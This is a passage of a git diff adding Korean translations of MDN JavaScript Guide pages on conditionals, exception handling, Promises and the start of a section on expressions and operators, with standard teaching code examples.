+<p>조건문은 특정 조건이 참인 경우에 실행하는 명령의 집합입니다. JavaScript는 두 가지 조건문을 지원합니다: <code>if...else</code> and <code>switch</code>.</p>
+
+<h3 id="if...else_문"><code>if...else</code> 문</h3>
+
+<p>특정 조건이 참인 경우 문장을 실행하기 위해 if 문을 사용합니다. 또한 선택적으로 조건이 거짓인 경우 문장을 실행하기 위해서는 else 절을 사용합니다. 다음과 같은 경우 :</p>
+
+<pre class="brush: js">if (condition) {
+  statement_1;
+} else {
+  statement_2;
+}</pre>
+
+<p>조건의 참과 거짓에 따라 수행문이 정해질 때 사용할 수 있습니다.. 무엇이 참과 거짓으로 평가되는 지에 대한 설명은 <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Boolean#Description">Boolean</a>을 참조하세요. 조건이 참으로 평가되면, statement_1은 실행됩니다. 그렇지 않으면, statement_2가 실행됩니다. statement_1과 statement_2는 if문이 더 중첩 된 경우를 포함한 문장이 될 수도 있습니다.</p>
+
+<p>다음과 같은 순서대로 나열된 여러 조건을 가지고 else if를 사용하여 문장을 복잡하게 할 수 있습니다:</p>
+
+<pre class="brush: js">if (condition_1) {
+  statement_1;
+} else if (condition_2) {
+  statement_2;
+} else if (condition_n) {
+  statement_n;
+} else {
+  statement_last;
+}
+</pre>
+
+<p>여러 줄의 문장을 실행하기 위해, block 문(<code>{ ... }</code>)안에 코드들을 작성합니다. 일반적으로, 특히 코드가 중첩할 때, 항상 block 문을 사용하는 것이 좋은 습관입니다:</p>
+
+<pre class="brush: js">if (condition) {
+  statement_1_runs_if_condition_is_true;
+  statement_2_runs_if_condition_is_true;
+} else {
+  statement_3_runs_if_condition_is_false;
+  statement_4_runs_if_condition_is_false;
+}
+</pre>
+
+<div>조건문 안에서의 변수값 할당은 사용하지 않는 것이 좋습니다. 왜냐하면 그것은 코드를 자세히 보지 않는 경우, 동등비교연산자로 오해할 수 있기 때문입니다. 예를 들어, 다음 코드는 사용하지 마세요.</div>
+
+<div class="warning">
+<p>if (x = y) {<br>
+      /* statements here */<br>
+ }</p>
+</div>
+
+<p>만약 조건식에 할당을 사용해야하는 경우, 일반적인 관행은 할당 주위에 추가 괄호를 넣는 것입니다. 예를 들어:</p>
+
+<pre class="brush: js">if ((x = y)) {
+  /* statements here */
+}
+</pre>
+
+<h4 id="거짓으로_취급하는_값">거짓으로 취급하는 값</h4>
+
+<p>다음과 같은 값은 거짓으로 평가됩니다:</p>
+
+<ul>
+ <li><code>false</code></li>
+ <li><code>undefined</code></li>
+ <li><code>null</code></li>
+ <li><code>0</code></li>
+ <li><code>NaN</code></li>
+ <li>the empty string (<code>""</code>)</li>
+</ul>
+
+<p>조건문에 전달되었을 때 모든 개체를 포함하여 다른 모든 값은 참으로 평가합니다.</p>
+
+<p>{{jsxref("Boolean")}} 개체의 참과 거짓 값으로 원시 boolean 값 true와 false를 혼동하지 마세요. 예를 들어:</p>
+
+<pre class="brush: js">var b = new Boolean(false);
+if (b) // this condition evaluates to true
+</pre>
+
+<h4 id="예시_2">예시</h4>
+
+<p>다음 예에서, <code>텍스트</code> 개체의 문자 수가 3인 경우 함수 <code>checkData</code>는 <code>true</code>를 반환합니다; 그렇지 않으면 경고를 표시하고 <code>false</code>를 반환합니다.</p>
+
+<pre class="brush: js">function checkData() {
+  if (document.form1.threeChar.value.length == 3) {
+    return true;
+  } else {
+    alert("Enter exactly three characters. " +
+    document.form1.threeChar.value + " is not valid.");
+    return false;
+  }
+}
+</pre>
+
+<h3 id="switch문"><font face="Consolas, Monaco, Andale Mono, monospace"><code>switch</code>문</font></h3>
+
+<p>Switch문은 프로그램이 표현식을 평가하고  값을 조건과 비교합니다. 만약 값이 일치한다면,  프로그램은 각 조건의 하위 문장을 실행합니다. Switch문은 아래와 같이 사용합니다.:</p>
+
+<pre class="brush: js">switch (expression) {
+  case label_1:
+    statements_1
+    [break;]
+  case label_2:
+    statements_2
+    [break;]
+    ...
+  default:
+    statements_def
+    [break;]
+}
+</pre>
+
+<p>프로그램은 주어진 값과 일치하는 case 라벨을 찾습니다. 그리고나서 관련된 구문을 수행합니다. 만약 매치되는 라벨이 없다면 그 default 절을 찾습니다. 찾게되면, 관련된 구문을 수행합니다.  default 절을 못 찾게 된다면 프로그램의 switch문은 종료됩니다. 관례상, default 절은 마지막절입니다. 하지만 꼭 그럴 필요는 없습니다.</p>
+
+<p>한번 일치된 문장이 수행되고 switch문을 따라서 계속 수행한다면 각각의 조건절로 연결된 선택적인 break문은 그 프로그램이 switch문을 벗어나게 합니다. 만약 break문이 생략된다면, 그 프로그램은 switch문안에서 다음 문장을 계속 수행합니다.</p>
+
+<h4 id="예시_3"><strong>예시</strong></h4>
+
+<p>아래 예에서, 만약 "fruittype"가 "Bananas"라면, 프로그램은 case "Bananas"와 값이 일치합니다. 그리고 관련된 문장을 실행합니다. 프로그램의 switch문은 break문을 만났을 때 종료됩니다. 그리고 switch문 다음에 나오는 문장을 실행합니다. 만약 break문이 생략되면, 조건문 "Cherries" 와 관련된 문장도 실행됩니다.</p>
+
+<pre class="brush: js">switch (fruittype) {
+  case "Oranges":
+    console.log("Oranges are $0.59 a pound.");
+    break;
+  case "Apples":
+    console.log("Apples are $0.32 a pound.");
+    break;
+  case "Bananas":
+    console.log("Bananas are $0.48 a pound.");
+    break;
+  case "Cherries":
+    console.log("Cherries are $3.00 a pound.");
+    break;
+  case "Mangoes":
+    console.log("Mangoes are $0.56 a pound.");
+    break;
+  case "Papayas":
+    console.log("Mangoes and papayas are $2.79 a pound.");
+    break;
+  default:
+   console.log("Sorry, we are out of " + fruittype + ".");
+}
+console.log("Is there anything else you'd like?");</pre>
+
+<p> </p>
+
+<h2 id="예외처리문">예외처리문</h2>
+
+<p>여러분은 throw문을 사용하는 예외들을 사용 할 수 있고 try...catch문을 사용하는 예외들 또한 다룰 수 있습니다.</p>
+
+<ul>
+ <li><a href="#throw_statement"><code>throw</code> </a>문</li>
+ <li><a href="#try_catch_statement"><code>try...catch</code> </a>문</li>
+</ul>
+
+<h3 id="예외_유형">예외 유형</h3>
+
+<p>대부분 자바스크립트안에서 사용될 수 있습니다. 그럼에도 불구하고, 반드시 사용되는 객체들이 같은 것으로 만들어 지지는 않습니다. 이것들은 에러같은 숫자들이나 문자열들을 사용하는데 흔한 일이지만 특히 이런 목적으로 만들어진 예외 유형중 하나를 사용하는데 더 효과적입니다:</p>
+
+<ul>
+ <li><a href="/ko/docs/Web/JavaScript/Reference/Global_Objects#Fundamental_objects">ECMAScript exceptions</a></li>
+ <li>{{domxref("DOMException")}} and {{domxref("DOMError")}}</li>
+</ul>
+
+<h3 id="throw_문"><code>throw</code> 문</h3>
+
+<p>예외를 사용할 때 <code>throw</code> 문을 사용합니다. 여러분이 예외를 사용할 때, 사용되는 값을 포함하는 표현을 명시해야합니다:</p>
+
+<pre class="syntaxbox">throw expression;
+</pre>
+
+<p>여러분은 구체적 유형의 표현이 아니라도 어떤 표현이든지 사용할 것입니다. 다음 코드는 다양한 유형중의 여러 예외들을 사용합니다:</p>
+
+<pre class="brush: js">throw "Error2";   // String type
+throw 42;         // Number type
+throw true;       // Boolean type
+throw {toString: function() { return "I'm an object!"; } };
+</pre>
+
+<div class="note"><strong>Note:</strong> 여러분은 <em> 예외를 사용할때 </em>객체를 명시할 수 있습니다. 그리고나서  <code>catch</code> 문안에서 객체의 특성들을 참조 할 수 있습니다. 다음 예시는 <code>myUserException</code> of type <code>UserException</code>객체를 만듭니다 그리고 throw문에서 사용합니다.</div>
+
+<pre class="brush: js">// Create an object type UserException
+function UserException (message){
+  this.message=message;
+  this.name="UserException";
+}
+
+// Make the exception convert to a pretty string when used as a string
+// (e.g. by the error console)
+UserException.prototype.toString = function () {
+  return this.name + ': "' + this.message + '"';
+}
+
+// Create an instance of the object type and throw it
+throw new UserException("Value too high");</pre>
+
+<h3 id="try...catch_문법"><code>try...catch</code> 문법</h3>
+
+<p><code>try...catch</code> 문법은 시도할 블록을 표시하고, 예외가 발생하였을때, 하나 이상의 반응을 명시합니다. 만약 예외가 발생하였을때, <code>try...catch</code> 문법은 예외를 잡아냅니다.</p>
+
+<p><code>try...catch</code> 문법은 하나 이상의 문장을 포함한 <code>try</code> 블록과, <code>try</code> 블록 에서 예외가 발생하였을때, 어떤 것을 할 것인지 명시된 문장을 포함한 0개 이상의 <code>catch</code> 블록으로 구성됩니다. <code>try</code> 블록이 성공하길 원하고, <code>try</code> 블록이 성공하지 않았다면, 제어를 <code>catch</code> 블록으로 넘기고 싶을 것입니다. 만약 <code>try</code> 블록(또는 <code>try</code> 블록에서 호출하는 함수) 의 문장이 예외를 발생시켰을때, 제어는 즉시 <code>catch</code> 블록으로 이동합니다. 만약 <code>try</code> 블록에서 예외가 발생하지 않았을 때, <code>catch</code> 블록을 건너뜁니다. <code>finally</code> 블록은 <code>try</code> 블록과 <code>catch</code> 블록의 시행이 끝나고 <code>try...catch</code> 문법 다음의 문장이 시행 되기 전에 시행됩니다.</p>
+
+<p>다음의 예제는 <code>try...catch</code> 문법을 사용합니다. 예제는 함수에 전해진 값을 토대로 달의 이름을 검색하는 함수를 호출합니다. 만약 값이 달 숫자값(1-12) 에 일치하지 않으면,<code>"InvalidMonthNo"</code> 라는 값과 함께 예외가 발생하고 <code>catch</code> 블록의 문장들이 <code>monthName</code> 변수를 <code>unknown</code> 값으로 설정합니다.</p>
+
+<pre class="brush: js">function getMonthName (mo) {
+  mo = mo-1; // Adjust month number for array index (1=Jan, 12=Dec)
+  var months = ["Jan","Feb","Mar","Apr","May","Jun","Jul",
+                "Aug","Sep","Oct","Nov","Dec"];
+  if (months[mo] != null) {
+    return months[mo];
+  } else {
+    throw "InvalidMonthNo"; //throw keyword is used here
+  }
+}
+
+try { // statements to try
+  monthName = getMonthName(myMonth); // function could throw exception
+}
+catch (e) {
+  monthName = "unknown";
+  logMyErrors(e); // pass exception object to error handler
+}
+</pre>
+
+<h4 id="The_catch_Block" name="The_catch_Block"><code>catch</code> 블록</h4>
+
+<p><code>try</code> 블록에서 발생할수 있는 모든 예외를 처리하기 위해 <code>catch</code> 블록을 사용할 수 있습니다.</p>
+
+<pre class="syntaxbox">catch (catchID) {
+  statements
+}
+</pre>
+
+<p><code>catch</code> 블록은 <code>throw</code>문장에 의해 명시된 값을 가지고 있는 식별자(앞 구문의 <code>catchID</code>)를 명시합니다; 이 식별자를 발생된 예외에 대한 정보를 얻기 위하여 사용할 수 있습니다. 자바스크립트는 <code>catch</code> 블록에 진입했을때 식별자를 생성합니다; 식별자는 <code>catch</code> 블록에 있는 동안만 유지됩니다; <code>catch</code> 블록의 시행이 끝난 후, 식별자는 더이상 사용하실 수 없습니다.</p>
+
+<p>예를 들어, 다음의 코드는 예외를 발생시킵니다. 예외가 발생하였을때, 제어는 <code>catch</code> 블록으로 넘어갑니다.</p>
+
+<pre class="brush: js">try {
+  throw "myException" // generates an exception
+}
+catch (e) {
+  // statements to handle any exceptions
+  logMyErrors(e) // pass exception object to error handler
+}
+</pre>
+
+<h4 id="finally_블록"><code>finally</code> 블록</h4>
+
+<p><code>finally</code> 블록은 <code>try</code> 블록과 <code>catch</code> 블록이 시행되고, <code>try...catch</code> 문법 다음 문장이 시행되기 전에 시행되는 문장들을 포함하고 있습니다. <code>finally</code> 블록은 예외가 발생하든 안하든 수행됩니다. 만약 예외가 발생하였을때, <code>finally</code> 블록 안의 문장들은 어떤 <code>catch</code> 블록도 예외를 처리하지 않더라도 시행됩니다.</p>
+
+<p><code>finally</code> 블록을 예외가 발생하였을때 여러분의 스크립트가 우아하게 실패하도록 만들기 위하여 사용할 수 있습니다. 예를 들어, 여러분의 스크립트가 묶어둔 자원들을 풀어줄 필요가 있습니다. 다음의 예제는 파일을 열고, 파일을 사용하는 문장(서버 측 자바스크립트는 파일에 접근하는 것을 허가합니다)을 시행합니다. 만약 파일이 열린 동안 예외가 발생했다면, <code>finally</code> 블록은 스크립트가 실패하기 전에 파일을 닫아줍니다.</p>
+
+<pre class="brush: js">openMyFile();
+try {
+  writeMyFile(theData); //This may throw a error
+} catch(e) {
+  handleError(e); // If we got a error we handle it
+} finally {
+  closeMyFile(); // always close the resource
+}
+</pre>
+
+<p>만약 <code>finally</code> 블록이 값을 반환하였을 경우, <code>try</code> 블록과 <code>catch</code>블록의 <code>return</code> 문장과 상관없이 전체 <code>try-catch-finally</code> 생산물의 반환값이 됩니다:</p>
+
+<pre class="brush: js">function f() {
+  try {
+    console.log(0);
+    throw "bogus";
+  } catch(e) {
+    console.log(1);
+    return true; // this return statement is suspended
+                 // until finally block has completed
+    console.log(2); // not reachable
+  } finally {
+    console.log(3);
+    return false; // overwrites the previous "return"
+    console.log(4); // not reachable
+  }
+  // "return false" is executed now
+  console.log(5); // not reachable
+}
+f(); // alerts 0, 1, 3; returns false
+</pre>
+
+<p><code>finally</code> 블록에 의한 반환값 덮어쓰기는 예외가 발생하거나 다시 예외가 발생했을때 또한 적용됩니다.</p>
+
+<pre class="brush: js">function f() {
+  try {
+    throw "bogus";
+  } catch(e) {
+    console.log('caught inner "bogus"');
+    throw e; // this throw statement is suspended until
+             // finally block has completed
+  } finally {
+    return false; // overwrites the previous "throw"
+  }
+  // "return false" is executed now
+}
+
+try {
+  f();
+} catch(e) {
+  // this is never reached because the throw inside
+  // the catch is overwritten
+  // by the return in finally
+  console.log('caught outer "bogus"');
+}
+
+// OUTPUT
+// caught inner "bogus"</pre>
+
+<h4 id="Nesting_try...catch_Statements" name="Nesting_try...catch_Statements">try...catch 문법 중첩하기</h4>
+
+<p> </p>
+
+<p>하나 이상의 <code>try ... catch</code> 문을 중첩 할 수 있습니다. 중첩된 안쪽 <code>try ... catch</code> 문에 <code>catch</code> 블록이 없으면 <code>finally</code> 블록이 있어야하고 <code>try ... catch</code> 문의 <code>catch</code> 블록에 일치하는 항목이 있는지 확인해야합니다. 자세한 내용은 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/try...catch">try...catch</a> 참조 페이지의 <a href="https://developer.mozilla.org/ko/docs/Web/JavaScript/Reference/Statements/try...catch#Nested_try-blocks">nested try-blocks</a>을 참조하십시오.</p>
+
+<h3 id="Error_객체를_도구화_하기"><code>Error</code> 객체를 도구화 하기</h3>
+
+<p>오류의 종류에 따라, 더 정제된 메세지를 얻기 위하여 'name'속성과 'message'속성을 사용할수도 있습니다. 'name'속성은 오류의 일반 클래스(e.g., 'DOMException' 또는 'Error')를 제공하고, 'message' 속성이 error 객체를 문자열로 바꿀수 있는 것 보다 더 간결한 메세지를 제공합니다.</p>
+
+<p>만약 이 속성들에 대하여 이득을 얻기 위해(여러분의 catch 블록이 시스템의 예외와 여러분의 예외를 구분하지 않을 때와 같은 것) 여러분만의 예외를 발생시킨다면, 여러분은 Error 생성자를 사용할 수 있습니다. 예를 들어:</p>
+
+<pre class="brush: js">function doSomethingErrorProne () {
+  if (ourCodeMakesAMistake()) {
+    throw (new Error('The message'));
+  } else {
+    doSomethingToGetAJavascriptError();
+  }
+}
+....
+try {
+  doSomethingErrorProne();
+}
+catch (e) {
+  console.log(e.name); // logs 'Error'
+  console.log(e.message); // logs 'The message' or a JavaScript error message)
+}</pre>
+
+<h2 id="Promises">Promises</h2>
+
+<p>ECMAScript2015를 시작하면서, 자바스크립트는 지연된 흐름과 비동기식의 연산을 제어할 수 있게 하는 {{jsxref("Promise")}} 객체에 대한 지원을 얻게 되었습니다.</p>
+
+<p><code>Promise</code> 는 다음의 상태중 하나입니다:</p>
+
+<ul>
+ <li><em>pending</em>: 초기상태, fulfilled 되거나 rejected 되지 않음.</li>
+ <li><em>fulfilled</em>: 연산 수행 성공.</li>
+ <li><em>rejected</em>: 연산 수행 실패.</li>
+ <li><em>settled</em>: Promise 가 fulfilled 이거나 rejected 이지만 pending 은 아님.</li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8633/promises.png" style="height: 297px; width: 801px;"></p>
+
+<h3 id="XHR_를_통해_이미지_불러오기">XHR 를 통해 이미지 불러오기</h3>
+
+<p>이미지를 불러오기 위해 <code>Promise</code> 와 <code><a href="/en-US/docs/Web/API/XMLHttpRequest">XMLHttpRequest</a></code> 를 사용한 간단한 예제는 MDN GitHub <a href="https://github.com/mdn/promises-test/blob/gh-pages/index.html"> promise-test</a> repository 에 있습니다. <a href="http://mdn.github.io/promises-test/">이 예제 가 동작하는 것을 보실 수 있습니다.</a> 각 단계는 설명되어있고 Promise 와 XHR 구조를 친밀하게 이해할수 있게 합니다. 여기 Promise 흐름을 보여줘서 아이디어를 얻을 수 있는 설명되지 않은 버전이 있습니다:</p>
+
+<pre class="brush: js">function imgLoad(url) {
+  return new Promise(function(resolve, reject) {
+    var request = new XMLHttpRequest();
+    request.open('GET', url);
+    request.responseType = 'blob';
+    request.onload = function() {
+      if (request.status === 200) {
+        resolve(request.response);
+      } else {
+        reject(Error('Image didn\'t load successfully; error code:'
+                     + request.statusText));
+      }
+    };
+    request.onerror = function() {
+      reject(Error('There was a network error.'));
+    };
+    request.send();
+  });
+}</pre>
+
+<p>더 자세한 정보를 얻기 위해선, {{jsxref("Promise")}} 참고 페이지를 보세요.</p>
+
+<div>{{PreviousNext("Web/JavaScript/Guide/Grammar_and_types", "Web/JavaScript/Guide/Loops_and_iteration")}}</div>
diff --git a/files/ko/web/javascript/guide/expressions_and_operators/index.html b/files/ko/web/javascript/guide/expressions_and_operators/index.html
new file mode 100644
index 0000000000..f5e711304f
--- /dev/null
+++ b/files/ko/web/javascript/guide/expressions_and_operators/index.html
@@ -0,0 +1,926 @@
+---
+title: 표현식과 연산자
+slug: Web/JavaScript/Guide/Expressions_and_Operators
+tags:
+  - Beginner
+  - Expressions
+  - Guide
+  - JavaScript
+  - Operators
+  - 'l10n:priority'
+  - 연산자
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Functions", "Web/JavaScript/Guide/Numbers_and_dates")}}</div>
+
+<p class="summary">이 장은 JavaScript의 표현식과 할당, 비교, 산술, 비트 계산, 논리, 문자열, 삼항 등 여러 가지 연산자를 설명합니다.</p>
+
+<p>연산자와 표현식의 완전하고 구체적인 목록도 <a href="/ko/docs/Web/JavaScript/Reference/Operators">참고서</a>에서 확인할 수 있습니다.</p>
+
+<h2 id="연산자">연산자</h2>
+
+<p>JavaScript는 다음과 같은 형태의 연산자가 있습니다. 이 절은 연산자에 대하여 설명하고, 연산자 우선순위에 관한 정보를 포함하고 있습니다.</p>
+
+<ul>
+ <li><a href="#할당_연산자">할당 연산자</a></li>
+ <li><a href="#비교_연산자">비교 연산자</a></li>
+ <li><a href="#산술_연산자">산술 연산자</a></li>
+ <li><a href="#비트_연산자">비트 연산자</a></li>
+ <li><a href="#논리_연산자">논리 연산자</a></li>
+ <li><a href="#문자열_연산자">문자열 연산자</a></li>
+ <li><a href="#조건_(삼항)_연산자">조건 (삼항) 연산자</a></li>
+ <li><a href="#쉼표_연산자">쉼표 연산자</a></li>
+ <li><a href="#단항_연산자">단항 연산자</a></li>
+ <li><a href="#관계_연산자">관계 연산자</a></li>
+</ul>
+
+<p>JavaScript는 이항 연산자와 단항연산자, 조건연산자인 단 하나 존재하는 삼항 연산자를 가지고 있습니다. 이항 연산자는 하나는 좌변에 다른 하나는 우변에 두개의 피연산자가 필요합니다:</p>
+
+<pre class="syntaxbox"><em>피연산자1</em> <em>연산자</em> <em>피연산자2</em>
+</pre>
+
+<p>예를 들면 <code>3+4</code> 또는 <code>x*y</code>와 같습니다.</p>
+
+<p>단항 연산자는 연산자 뒤에든 앞에든 하나의 피연산자를 필요로 합니다.:</p>
+
+<pre class="syntaxbox"><em>연산자</em> <em>피연산자</em>
+</pre>
+
+<p>또는</p>
+
+<pre class="syntaxbox"><em>피연산자</em> <em>연산자</em>
+</pre>
+
+<p><code>x++</code> 또는 <code>++x</code>를 예시로 들 수 있습니다.</p>
+
+<h3 id="할당_연산자">할당 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">할당 연산자</a>는 오른쪽 피연산자의 값을 왼쪽 피연산자에 할당합니다. 기본적인 할당 연산자는 오른쪽의 피연산자 값을 왼쪽 피연산자 값에 할당하는 등호(<code>=</code>) 입니다. 즉 <code>x = y</code> 는 <code>y</code> 값을 <code>x</code>에 할당합니다.</p>
+
+<p>다음의 표에 나열된 연산의 약칭인 복합 할당 연산자도 존재합니다:</p>
+
+<table class="standard-table">
+ <caption>복합 할당 연산자</caption>
+ <thead>
+  <tr>
+   <th>이름</th>
+   <th>복합 할당 연산자</th>
+   <th>뜻</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="#Assignment">할당</a></td>
+   <td><code>x = y</code></td>
+   <td><code>x = y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Addition_assignment">덧셈 할당</a></td>
+   <td><code>x += y</code></td>
+   <td><code>x = x + y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Subtraction_assignment">뺄셈 할당</a></td>
+   <td><code>x -= y</code></td>
+   <td><code>x = x - y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Multiplication_assignment">곱셈 할당</a></td>
+   <td><code>x *= y</code></td>
+   <td><code>x = x * y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Division_assignment">나눗셈 할당</a></td>
+   <td><code>x /= y</code></td>
+   <td><code>x = x / y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Remainder_assignment">나머지 연산 할당</a></td>
+   <td><code>x %= y</code></td>
+   <td><code>x = x % y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#지수_연산_할당">지수 연산 할당</a> {{experimental_inline}}</td>
+   <td><code>x **= y</code></td>
+   <td><code>x = x ** y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Left_shift_assignment">왼쪽 이동 연산 할당</a></td>
+   <td><code>x &lt;&lt;= y</code></td>
+   <td><code>x = x &lt;&lt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Right_shift_assignment">오른쪽 이동 연산 할당</a></td>
+   <td><code>x &gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="#Unsigned_right_shift_assignment">부호 없는 오른쪽 이동 연산 할당</a></td>
+   <td><code>x &gt;&gt;&gt;= y</code></td>
+   <td><code>x = x &gt;&gt;&gt; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#비트_AND_할당">비트 AND 할당</a></td>
+   <td><code>x &amp;= y</code></td>
+   <td><code>x = x &amp; y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#비트_XOR_할당">비트 XOR 할당</a></td>
+   <td><code>x ^= y</code></td>
+   <td><code>x = x ^ y</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Assignment_Operators#비트_OR_할당">비트 OR 할당</a></td>
+   <td><code>x |= y</code></td>
+   <td><code>x = x | y</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h4 id="구조_분해">구조 분해</h4>
+
+<p>복잡한 할당 연산에서, <a href="/ko/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">구조 분해 할당</a> 구문은 배열이나 객체의 구조를 반영하여 배열이나 객체에서 데이터를 추출할 수 있게 해주는 JavaScript 표현식입니다.</p>
+
+<pre class="brush: js">var foo = ['one', 'two', 'three'];
+
+// 구조 분해를 활용하지 않은 경우
+var one   = foo[0];
+var two   = foo[1];
+var three = foo[2];
+
+// 구조 분해를 활용한 경우
+var [one, two, three] = foo;</pre>
+
+<h3 id="비교_연산자">비교 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">비교 연산자</a>는 피연산자들을 비교하고 비교에 따라 논리 값을 반환합니다. 피연산자들은 숫자, 문자열, 논리형, 객체 를 사용할 수 있습니다. 문자열은 유니코드 값을 사용하여 표준 사전순서를 기반으로 비교합니다. 만약 두 피연산자가 다른 형태일 경우, JavaScript는 대부분 비교를 위해 피연산자를 적절한 타입으로 변환합니다. 이런 행동은 보통 숫자로 피연산자를 숫자로 비교하는 형태로 나타납니다. 형태를 바꾸기의 유일한 예외는 엄격한 비교를 수행하는 <code>===</code> 과 <code>!==</code> 연산이 관련되는 경우입니다. 이런 연산자는 비교를 위해 피연산자의 형태를 적절히 바꾸려고 시도하지 않습니다. 다음 표는 샘플 코드를 통해 비교 연산자에 대하여 설명합니다:</p>
+
+<pre><code>var var1 = 3;
+var var2 = 4;</code>
+</pre>
+
+<table class="standard-table">
+ <caption>비교 연산자</caption>
+ <thead>
+  <tr>
+   <th scope="col">연산자</th>
+   <th scope="col">설명</th>
+   <th scope="col">참을 반환하는 예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Equality">동등</a> (<code>==</code>)</td>
+   <td>피연산자들이 같으면 참을 반환합니다.</td>
+   <td><code>3 == var1</code>
+    <p><code>"3" == var1</code></p>
+    <code>3 == '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Inequality">부등</a> (<code>!=</code>)</td>
+   <td>피연산자들이 다르면 참을 반환합니다.</td>
+   <td><code>var1 != 4<br>
+    var2 != "3"</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Identity">일치</a> (<code>===</code>)</td>
+   <td>피연산자들이 같고 피연산자들의 같은 형태인 경우 참을 반환합니다. {{jsxref("Object.is")}} 와 <a href="/ko/docs/Web/JavaScript/Equality_comparisons_and_sameness" title="/ko/docs/Web/JavaScript/Guide/Sameness">JavaScript에서의 같음</a>을 참고하세요.</td>
+   <td><code>3 === var1</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Nonidentity">불일치</a> (<code>!==</code>)</td>
+   <td>피연산자들이 다르거나 형태가 다른 경우 참을 반환합니다.</td>
+   <td><code>var1 !== "3"<br>
+    3 !== '3'</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_operator">~보다 큰</a> (<code>&gt;</code>)</td>
+   <td>좌변의 피연산자 보다 우변의 피연산자가 크면 참을 반환합니다.</td>
+   <td><code>var2 &gt; var1<br>
+    "12" &gt; 2</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Greater_than_or_equal_operator">~보다 크거나 같음</a> (<code>&gt;=</code>)</td>
+   <td>좌변의 피연산자 보다 우변의 피연산자가 크거나 같으면 참을 반환합니다.</td>
+   <td><code>var2 &gt;= var1<br>
+    var1 &gt;= 3</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_operator">~보다 작음</a> (<code>&lt;</code>)</td>
+   <td>좌변의 피연산자 보다 우변의 피연산자가 작으면 참을 반환합니다.</td>
+   <td><code>var1 &lt; var2<br>
+    "2" &lt; 12</code></td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Less_than_or_equal_operator">~보다 작거나 같음</a> (<code>&lt;=</code>)</td>
+   <td>좌변의 피연산자 보다 우변의 피연산자가 작거나 같으면 참을 반환합니다.</td>
+   <td>
+    <p><code>var1 &lt;= var2<br>
+     var2 &lt;= 5</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>참고: </strong>(<code>=&gt;</code>) 은 연산자가 아니고, 화살표 함수(<a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">Arrow functions</a>)를 나타내는 기호입니다.</p>
+</div>
+
+<h3 id="산술_연산자">산술 연산자</h3>
+
+<p><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators">산술 연산자</a>는 숫자값(리터럴 또는 변수)을 피연산자로 갖고, 하나의 숫자 값을 반환합니다. 기본적인 산술 연산자는 덧셈(<code>+</code>), 뺄셈 (<code>-</code>), 곱셈 (<code>*</code>), 나눗셈 (<code>/</code>)입니다. 이 연산자들은 대부분의 다른 프로그래밍 언어들이 부동소수점 값을 연산하는것처럼 동작합니다. (0 으로 나누는 것은 {{jsxref("Infinity")}} 을 발생시키는 것을 기억하세요) 예를 들면:</p>
+
+<pre class="brush: js">1 / 2; // 0.5
+1 / 2 == 1.0 / 2.0; // this is true
+</pre>
+
+<p>또한, 표준 산술 연산자 (+, -, *, /) 에 대해 JavaScript는 다음의 표에 나와 있는 산술 연산자를 제공합니다.</p>
+
+<table class="fullwidth-table">
+ <caption>산술 연산자</caption>
+ <thead>
+  <tr>
+   <th scope="col">연산자</th>
+   <th scope="col">설명</th>
+   <th scope="col">예제</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Remainder">나머지 연산자</a> (<code>%</code>)</td>
+   <td>이항 연산자입니다. 두 피연산자를 나눈후 나머지를 반환합니다.</td>
+   <td>12 % 5 는 2를 반환합니다.</td>
+  </tr>
+  <tr>
+   <td><a href="/ko/docs/Web/JavaScript/Reference/Operators/Arithmetic_Operators#Increment">증가 연산자</a> (<code>++</code>)</td>
